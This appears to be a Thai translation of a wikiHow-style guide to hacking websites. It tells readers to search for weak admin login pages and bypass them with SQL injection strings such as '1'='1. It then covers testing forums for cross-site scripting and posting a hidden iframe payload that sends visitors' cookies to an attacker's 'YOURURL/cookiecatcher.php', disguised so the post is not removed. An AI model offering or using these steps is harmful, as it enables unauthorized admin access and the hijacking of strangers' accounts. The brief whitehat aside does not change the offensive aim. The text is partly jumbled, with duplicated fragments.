แฮกแบบ Injection Attacks แฮกยังไงให้ประสบความสำเร็จ แฮกแบบ Cross Site Scripting
ต้องหาเว็บที่หย่อนความปลอดภัย พูดง่ายๆ คือระบบที่เจาะล็อกอินของแอดมินได้ง่าย ลอง search ใน Google ว่า admin login.asp ดู พิมพ์ admin แทน username แล้วใช้ตัวเลขใดตัวเลขหนึ่งของ string ที่ต่างกันออกไปเป็นรหัสผ่าน จะเป็นตัวเลขไหนก็ได้ แต่ที่พบบ่อยคือ 1’ หรือ ’1’='1 หรือ 2'='2 เพราะต้องลองผิดลองถูกกันพักใหญ่ ในที่สุดคุณก็น่าจะหา string ที่ใช้ล็อกอินในฐานะแอดมินของเว็บได้ ถ้าเว็บนั้นหย่อนการรักษาความปลอดภัย ถ้าอยากแฮกเว็บให้เป็นให้เก่ง ก็ต้องรู้ว่าคอมพิวเตอร์และเทคโนโลยีอื่นๆ นั้นทำงานยังไง ให้หัดใช้ภาษาเขียนโปรแกรม เช่น Python หรือ SQL จะได้ควบคุมดูแลคอมของตัวเองได้ดียิ่งขึ้น เห็นช่องโหว่ในระบบ บางเว็บจะแฮกได้ต้องมีความรู้เรื่อง html กับ javascript มากเป็นพิเศษ เป็นอะไรที่ต้องใช้เวลา แต่หาข้อมูลได้เยอะแยะในเน็ตแบบฟรีๆ ขอแค่ขยันและตั้งใจจริง Whitehats ก็คือแฮกเกอร์ฝ่ายธรรมะ แฮกเพื่อทำประโยชน์ หาช่องโหว่ในระบบรักษาความปลอดภัยเพื่อแก้ไขและป้องกัน ทำสังคมเน็ตให้น่าอยู่กว่าเดิม ถ้าอยากเรียนรู้เทคนิคการแฮกในทางที่ถูกที่ควร หรืออยากปกป้องเว็บตัวเอง ก็ลองปรึกษา ขอคำแนะนำจาก whitehats รุ่นพี่ดู ถ้าอยากรู้ลึกรู้จริงเรื่องการแฮก หรืออย่างน้อยๆ ก็แค่อยากทำระบบของคอมหรือเว็บตัวเองให้แน่นหนา ก็ต้องหมั่นศึกษาหาความรู้ เพราะมีหลายปัจจัยเลยที่ทำให้เกิดช่องโหว่ในระบบ แถมภัยต่างๆ และมิจฉาชีพในโลกไซเบอร์ก็เปลี่ยนแปลง พัฒนาตัวเองอยู่ตลอด คุณต้องรู้เท่าทัน อย่างที่บอกว่าโลกของแฮกเกอร์นั้นเปลี่ยนแปลงและอัพเดทอยู่ตลอดตามเทคโนโลยี คุณต้องหมั่นอัพเดททั้งความรู้และข่าวสาร ถ้ามัวแต่เฝ้าระวังจุดเดิม คราวหน้าอาจถูกแฮกช่องโหว่ใหม่ก็ได้! เว็บบอร์ดนี่แหละตัวอย่างที่เห็นเด่นชัด เพราะถ้าเว็บไหนแน่นหนา ก็ใช้วิธีต่อไปนี้ไม่ได้ window.alert(“test”) window.alert(“test”)window.alert(“test”) ต้องพิมพ์โค้ดพิเศษใน “โพสต์” เพื่อใช้ดักข้อมูลของทุกคนที่คลิกเข้ามา  ต้องทดสอบว่าระบบกรองโค้ดออกหรือเปล่า โดยโพสต์ <script>window.alert(“test”)</script>ถ้ามีหน้าต่าง alert โผล่มาตอนคลิกโพสต์ แสดงว่าเว็บนั่นอ่อน เจาะได้ เป้าหมายของการเจาะ คือดักจับคุกกี้ของผู้ใช้ ให้คุณเข้าบัญชีของเขาในเว็บที่ระบบล็อกอินไม่แน่นหนานั้นได้ ที่ต้องใช้คือ cookie catcher สำหรับดักจับและเปลี่ยนเส้นทางคุกกี้ของเป้าหมาย ให้คุณอัพโหลด catcher เข้าเว็บเป้าหมายที่รองรับ php ยังไงลองค้นหาตัวอย่างโค้ดของ cookie catcher ในเน็ตเพิ่มเติมดู ให้ใส่โค้ดที่จำเป็นในโพสต์ เพื่อดักจับคุกกี้แล้วส่งไปที่เว็บคุณแทน คุณต้องพิมพ์บางข้อความต่อท้ายโค้ดเพื่อกลบเกลื่อน โพสต์ของคุณจะได้ไม่ผิดสังเกตจนถูกลบ  โค้ดตัวอย่างก็ประมาณ <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> หลังจากนี้ คุณก็ใช้ข้อมูลในคุกกี้ที่เซฟลงเว็บคุณได้ตามสบาย
หาเว็บที่เจาะง่าย. ล็อกอินในฐานะแอดมินเว็บ. อดทน. เจาะเว็บ. เรียนภาษาเขียนโปรแกรม 1 - 2 ภาษา. รู้ HTML พื้นฐานไว้บ้าง. ปรึกษา whitehats. ค้นคว้าเพิ่มเติมเรื่องการแฮก. อย่าตกข่าว. หาเว็บที่เจาะง่าย โพสต์เนื้อหาได้. โพสต์เนื้อหาใหม่. สร้างแล้วอัพโหลด cookie catcher. โพสต์พร้อม cookie catcher. ใช้คุกกี้ที่ดักจับมาได้.
https://www.wikihow.com/Hack-a-Website https://www.wikihow.com/Hack-a-Website https://www.wikihow.com/Hack-a-Website
Executing Injection Attacks Setting Up for Success Using Cross-Site Scripting